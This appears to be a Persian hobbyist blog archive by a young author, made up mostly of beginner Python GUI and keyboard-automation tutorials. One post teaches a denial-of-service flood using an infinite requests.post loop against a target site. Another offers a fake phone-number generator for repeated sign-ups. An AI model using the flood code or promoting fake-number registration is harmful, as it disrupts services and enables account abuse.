ایرن علم سایتی که در ان هرچی بخواهید هست

۱۰ مطلب در اسفند ۱۳۹۹ ثبت شده است

برنامه ساخت شماره تلفن الکی(برای سایت هایی که پیامک نمیدن)

به نام خدا این برنامه عیدی من به شما هست این برنامه شماره های فیک یا علکی میسازه که باهاش میتونید تو سایتایی که به برای ثبت نام اس ام اس نمیفرستند چند دور ثبت نام کنید

لینک دانلود

این هم عیدی من به شما تا مطلب بعد خداحافظ باز هم سر بزنید

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

عید شما مبارک

به نام خدا

عید شما مبارک

سال خوبی داشته باشید

سال 1400

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش pyqt قسمت 3

اموزش pyqt قسمت 3

به نام خدا من محمد جواد حق بیگی هستم . در این جلسه میخوایم با qtdesigner اشنا بشیم و کاربرد اون رو بررسی کنیم برای نصب روی لینک زیر کلیک کنید

لینک

بعد نصب کنید و در سرچ ویندوز عبارت Qt Designer رو سرچ کنید و اگر خواستید با Pin To Taskbar اون رو به taskbar اضافه کنید تا راحت تر در دسترس باشه بعد از اجرا با صفحه زیر رو برو میشید

صفحه شروع
صفحه شروع

شما روی MainWindow دو دور کلیک کنید

صفحه زیر باز میشه

صفحه کار
صفحه کار

در این صفحه در طرف راست وسایلی هست که میتونید استفاده کنید مانند Push Button یا Label و ابزار های دیگر در طرف راست خواص جسم هست که میشه تغییرش داد مانند وقتی که موس میره روی جسم چه شکلی بشه برای اجرا دکمه ctrl + r رو بزنید یا از منو form بیاید preview رو بزنید که اجرا شه برای گذاشتن جسم داخل صفحه جسم رو بکشید و بندازید داخل صفحه مانند زیر:

یک Push Button در صفحه
یک Push Button در صفحه

بعد اجرا کنید میبینید دکمه کاری نمیکنه و روش بزنید اتفاقی نمیافتد برای این که متن داخل اون رو تغییر بدید از قسمت property بگردید دنبال text و روش بزنید و متن رو عوض کنید

تعویض متن با متن مورد نظر
تعویض متن با متن مورد نظر

به همین راحتی برای این که متن بزارید Label رو بکشید و بندازید داخل صفحه و در property بیاید text رو انتخاب کنید و متن خودتون رو جاش بنویسید

اگر الان زخیره کنید میبینید یک فایل با فرمت ui میسازه که قابل اجرا نیست و اگر ویرایش کنید داخلش کد پایتون وجود نداره برای نشان دادن صفحه در پایتون اول پکیج pyside 2 رو با دستور زیر نصب میکنیم

pip install pyside2

بعد از نصب این پکیج ما نیازی به پکیج pyqt5 نداریم و این pyqt5و pyqt4 را در خود دارد با کد زیر صفحه رو نشان میدیم

import sys
from PySide2 import *
from PySide2.QtUiTools  import QUiLoader
Loader = QUiLoader()
app  = QtWidgets.QApplication(sys.argv)
window = Loader.load("نام فایل.ui", None)
window.show()
app.exec_()

 

در قسمتی که نوشته نام فایل نام فایل ui رو وارد کنید(بدون پسوند) بعد با cmd با دستور

python نام فایل پایتون.py

اجرا کنید

این جلسه به پایان رسید تا جلسه بعد خدا نگهدار به وبلاگ سر بزنید:

ادرس وبلاگ

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش کنترل کیبورد با پایتون

اموزش کنترل کیبورد با پایتون

اموزش کنترل کیبورد با پایتون
اموزش کنترل کیبورد با پایتون

 

به نام خدا من محمد جواد حق بیگی هستم به وبلاگم سر بزنید ادرس در این آموزش ما با کتابخانه pyautogui و keyboard اشنا میشین و کابردش رو بررسی میکنیم

برای نصب این دوکتابخانه از دستور زیر کمک میگیریم

pip install pyautogui keyboard

بعد با دستور زیر کتابخانه های مورد نظر رو ایمپورت میکنیم:

from keyboard import *
from pyautogui import *

بعد با دستور زیر دکمه یا کلید میانبری رو در کامپیوتر هدف وارد میکنیم

press_and_release("دکمه مورد نظر")

برای زدن کلید میانبر

press_and_release("کلید دوم کلید میانبر","کلید اول کلید میانبر")

برای تایپ کردن

write("متن مورد نظر")

برای این که چند کار رو با کیبورد انجام بدید یک sleep کوتاه بین کار ها بزارید تا وقت کنه انجام شه و بعدش دستور بعد اجرا شه

یک نمونه از کار با این پکیج

from keyboard import press_and_release, write
import pyautogui,  os , time
press_and_release("left windows + R")
time.sleep(0.5)
write("notepad.exe")
press_and_release("enter")
time.sleep(1)
write("start www.irnelm.blog.ir")
time.sleep(1)
pyautogui.hotkey('ctrl', 's')
time.sleep(1)
write("start.bat")
time.sleep(1)
pyautogui.press("enter")
time.sleep(0.5)
press_and_release("left arrow")
time.sleep(0.5)
press_and_release("enter")
time.sleep(5)
pyautogui.hotkey("ctrl", "w")
time.sleep(2)
press_and_release("down arrow")
time.sleep(3)
press_and_release("enter")
time.sleep(10)

اجراش کنید جالب بودش یا نه؟ این برنامه پنجره run رو باز میکنه و باهاش notepad ویندوز رو اجرا میکنه و توش یک کد مینویسه که سایت https://irnelm.blog.ir رو باز کنه بعد با اسم start.bat سیو میکنه و فلش سمت چپ رو برای این که اگر قبلا وجود داشت تو صفحه replace بره رو یس و enter رو بزنه بعد فلش پایین رو بزنه بره رو فایل start.bat و enter بزنه که سایت https://irnelm.blog.ir باز شه ممنون از توجه شما به وبلاگم سر بزنید: ادرس و اگر جایی گذاشتین حتما منبع رو زکر کنید ممنون

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش حمله dos

به نام خدا امروز با یک مطلب دیگه با شما هستیم امروز به شما یاد می‌دهیم با پایتون ابزاری بسازید که باهاش حمله dos امام بدیم اول کتابخانه requests رو با دستور زیر نصب میکنیم:

pip install requests

بعد از نصب شدن یک فایل پایتون بسازید و کد زیر را وارد کنید:

while True:

    requests.post("ادرس سایت")

 

این کد میاد همش درخواست به سرور ارسال می‌کنه و باعث میشه سرور آسیب ببینه این اموزش به پایان رسید خداحافظ 

توجه:اگر جایی گذاشتین منبع رو زکر کنید.

 

 

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش pyqt قسمت 2

اموزش pyqt قسمت 2

 

من محمد جواد حق بیگی متولد 1389 هستم و امروز ما یک پنجره میسازیم توش متن میذاریم و با مفاهیم اصلی اشنا میشیم اول با کد زیر pyqt5 رو import میکنیم:

1from PyQt5.QtWidgets import QApplication, QMainWindow

خب اول یک متغیر میسازیم و مقدارش رو شو قرار میدیم با QApplication .هم باید بهشت مقدار لیست خالی هم بدیم

1app = QApplication([])

یک قسمت مهم برنامه گرافیکی این هست که کد ها تکرار بشن برای همین ما اون رو تو یک حلقه قرار میدیم که کد ها داخل ان قرار بگیرند:

1app.exec_()

حا لا یک پنجره میسازیم(این کد ها بعد ([])app = QApplication و قبل ()_app.exec قرار میدیم )

1window = QMainWindow()
1window.show()

حالا این کدمون هست:

1from PyQt5.QtWidgets import QApplication, QMainWindow
1app = QApplication([])
1window = QMainWindow()
1window.show()
1app.exec_()

اگه کد را اجرا کنید یک پنجره خالی میبینید:

که داخلش چیزی نیست و سایز کوچکی داره

این جلسه به پایان رسید تا جلسه بعد خداحافظ

لینک وبلاگ:https://irnelm.blog.ir

 

۱ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش pyqt قسمت1

به نام خدا من محمد جواد حق بیگی نویسنده وبلاگ:http://irnelm.blog.ir هستم و امروز ما قسمت اول pyqt رو آموزش میدیم در این قسمت pyqt رو نصب و پیکر بندی میکنیم

برای نصب اول برای ایجاد ماشین مجازی پکیج virtualenv رو نصب میکنیم

pip install virtualenv

بعد یک محیط مجازی با دستور زیر میسازیم (در درایو مورد نظر)

mkdir pyqt

virtualenv pyqt

بعد پکیج رو نصب میکنیم

pip install pyqt5 pyqt-tools

و صبر میکنید تا نصب شه .....

این جلسه به پایان رسید به وبلاگم سر بزنید:https://irnelm.blog.ir

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش tkinter قسمت 3

به نام خدا من محمد جواد حق بیگی هستم تو جلسه قبل ما یک دکمه ساختیم و کاربرد ش رو بررسی کردیم امروز میخوایم با config ها اشنا بشیم و باهم او نارو بررسی کنیم.

اول شما باید یک چیزی مثل دکمه بسازید بعد با دستور زیر config کنیدش

نام.config(configها)

به عنوان مثال برای تغییر متن یک label به شکل زیر عمل کنید

نام.config(text = "متن مورد نظر")

برای تغییر font یک label به شکل زیر عمل کنید

نام.config(font = "فونت مورد نظر")

برای تغییر رنگ متن label  به شکل زیر عمل کنید

نام.config(fg = "رنگ مورد نظر")

برای تغییر رنگ کل label به شکل زیر عمل کنید 

نام.config(bg = "رنگ مورد نظر")

این جلسه هم به پایان رسید تو جلسه بعد با config ها بیشتر اشنا میشیم و کار های بیشتری رو یاد میگیریم تا مطلب بعد خدا حافظ .

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش tkinter قسمت-2

 به نام خدا تو جلسه قبل یک صفحه ساختیم و بعد توش یک متن گذاششتیم امروز با دکمه اشنا میشین و کاربرد اون رو یاد میگریم 

تو جلسه قبلی گفتیم که tkinter رو ایمپورت میکنیم یک متن توش گذاشتیم و مین لوپ کردیم در این جلسه یک دکمه درست میکنیم که هر وقت روش زدیم بگه hello world اول کد زیر داخل کد های برنامه ی گرافیکی بنویسید:

نام دکمه = Button(نام پنجره , text = متن دکمه)

بعد با دستور زیر وارد صفحه کنیدش

نام دکمه.pack()

برای اینکه بگید وقتی دکمه رو زدید چیشه یک اتفاق با def بالا تر از کد دکمه مثل شکر زیر درست کنید:

 

def نام رویداد:

       کد های رویداد

این کد ها به صورت خود کار با کلیک روی دکمه کار نمی کنند با دستور زیر تنطیم کنید وقتی روی دکمه زدید چه اتفاقی بی افتد:

نام دکمه.config(command = نام رویداد) 

 

خوب این جلسه به پایان رسید کد های پروژه در پایین قرار داده شدن:

لینک کد های این قسمت

 

۱ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی

اموزش tkinter قسمت 1

به نام خدا من محمد جواد حق بیگی مدیر وبلاگ هستم امروز با قسمت اول اموزش کتابخانه گرافیکی tkinter  هستیم خوب خلاصه این جلسه این هست که یک صفحه گرافیکی درست میکنیم و داخلش یک متن قرار میدهیم و صفحه مون رو mainloop میکنیم خوب اول کتابخانه tkinter رو ایمپورت میکنیم با کد زیر

* from tkinter import 

و بعد برای ایجاد صفحه کد زیر رو 

 

()win = Tk

و در پایین mainloop میکنیم

 

() win.mainloop

الان اگه کد را ران کنید یه صفحه گرافیکی خالی گرافیکی میبینید که هیچ محتوایی ندارد و بالایش نوشته tk این اسم برنامه است که با کد زیر میتوان تقییر داد

("program name")win.title

دقت کنید کد های برنامه رو داخل ()win.mainloop قرار دهید و جای  program name  نام برنامه را بنویسید.

برای ایجاد متن در tkinter از کد زیر استفاده کنید

  ("متن"=text,نام صفحه)Label=نام

و برای گزاشتن متن در صفحه :

()pack.نام متن 

این هم از جلسه اول اموزش پایتون گرافیکی.

خداحافظ.

۰ نظر موافقین ۰ مخالفین ۰
محمد جواد حق بیگی